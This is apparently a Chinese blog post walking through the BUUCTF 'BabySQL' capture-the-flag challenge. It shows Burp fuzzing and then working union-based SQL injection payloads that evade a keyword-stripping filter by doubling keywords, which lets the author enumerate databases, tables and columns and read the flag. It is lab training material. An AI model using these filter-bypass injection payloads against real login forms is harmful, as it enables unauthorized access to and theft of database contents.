0
点赞
收藏
分享

微信扫一扫

BUUCTF:[极客大挑战 2019]BabySQL

金刚豆 2023-06-19 阅读 50


题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL

BUUCTF:[极客大挑战 2019]BabySQL_特殊字符


BUUCTF:[极客大挑战 2019]BabySQL_mysql_02


简单测试之后发现有些字符被过滤,初步判断这里的过滤是指特殊字符被替换为空,如下图所示

BUUCTF:[极客大挑战 2019]BabySQL_特殊字符_03


使用Burp进行SQL过滤字符的Fuzz

BUUCTF:[极客大挑战 2019]BabySQL_特殊字符_04


这些长度为726响应内容是Input your username and password的Fuzz结果是被过滤的字符

Trick

  • 替换为空的关键字过滤使用双写关键字绕过
  • 这里空格可以使用%20绕过

username='oorrder%20bbyy%204--+&password=mochu7

当前表有3个字段

BUUCTF:[极客大挑战 2019]BabySQL_字段_05


?username=mochu'ununionion%20selselectect%201,2,3--+&password=mochu7

回显位是第二个字段第三个字段

BUUCTF:[极客大挑战 2019]BabySQL_特殊字符_06


?username=mochu'ununionion%20selselectect%201,2,group_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata--+&password=mochu7

查询出所有的库

information_schema,mysql,performance_schema,test,ctf,geek

BUUCTF:[极客大挑战 2019]BabySQL_字段_07


?username=mochu'ununionion%20selselectect%201,2,group_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema='ctf'--+&password=mochu7

查出ctf库中的所有表

BUUCTF:[极客大挑战 2019]BabySQL_mysql_08


?username=mochu'ununionion%20selselectect%201,2,group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_name='Flag'--+&password=mochu7

查询出表的字段

BUUCTF:[极客大挑战 2019]BabySQL_字段_09


?username=mochu'ununionion%20selselectect%201,2,flag%20frfromom%20ctf.Flag--+&password=mochu7

查flag字段的内容

BUUCTF:[极客大挑战 2019]BabySQL_字段_10


举报

相关推荐

0 条评论